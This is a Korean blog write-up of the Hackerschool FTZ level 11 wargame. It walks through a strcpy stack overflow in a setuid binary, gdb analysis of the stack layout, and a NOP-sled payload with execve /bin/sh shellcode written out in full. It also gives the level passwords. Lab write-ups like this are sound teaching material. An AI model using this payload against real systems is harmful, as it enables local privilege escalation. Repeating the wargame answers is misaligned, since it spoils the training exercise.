티스토리 뷰





FTZ level11

pw : what!@#$?


드디어 이제부터 bof를 익히는 11레벨입니다.


먼저 ls명령을 통해 확인해보겠습니다.



attackme 라는 setuid가 걸린 파일과 hint가 있군요!


힌트를 보겠습니다.



argv[1]을 str변수안에 strcpy를 합니다. 여기서 bof취약점이 발생하게됩니다.

리턴 어드레스를 덮어서 값을 수정해 쉘코드가 있는 부분으로 점프해주면 되겠네요.


NOP sled 방식으로 풀어보겠습니다.


디버깅을 하기위해 tmp폴더로 attackme파일을 옮기겠습니다.


그 후,


gdb로 분석하도록 하겠습니다.



인텔로 바꾼 뒤 분석해보겠습니다.


0x108만큼 스택 프레임을 구성합니다.


264바이트입니다.


아까 str변수가 256바이트로 선언되어있으니 dummy는 8바이트 입니다.

따라서 메모리구조는


| str(256) | dummy(8) | sfp | ret |

이 되겠습니다.


str의 메모리 주소를 알아보기 위해 디버깅해보겠습니다.

strcpy가 실행되고 후인 대략 main+53에 브레이크포인트를 걸고 실행해보겠습니다.


payload 구성은

\x90(null) * 227 + 25byte shell code +\x90*16 + [NOP의 주소(ret)] 으로 해보겠습니다.


./attackme `python -c ‘print “\x90”*227 + “\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80” + “\x90”*16 + [ret]’`  


브레이크포인트를 걸고 쉘코드를 argv에 담아 넣고 esp를 확인해보겠습니다.


0xbffffb60을 ret으로 잡고 NOP sled에 도전해보겠습니다.



sh을 땄습니다.


실제공격을 해보겠습니다.


권한 상승이 되었습니다.



Level12 Password is "it is like this".

'pwnable > FTZ' 카테고리의 다른 글

[Hackerschool FTZ] Level13 write-up  (0) 2018.01.15
[Hackerschool FTZ] Level12 write-up  (0) 2018.01.15
[Hackerschool FTZ] Level10 write-up  (0) 2018.01.14
[Hackerschool FTZ] Level9 write-up  (0) 2018.01.14
[Hackerschool FTZ] Level8 write-up  (0) 2018.01.14
Comments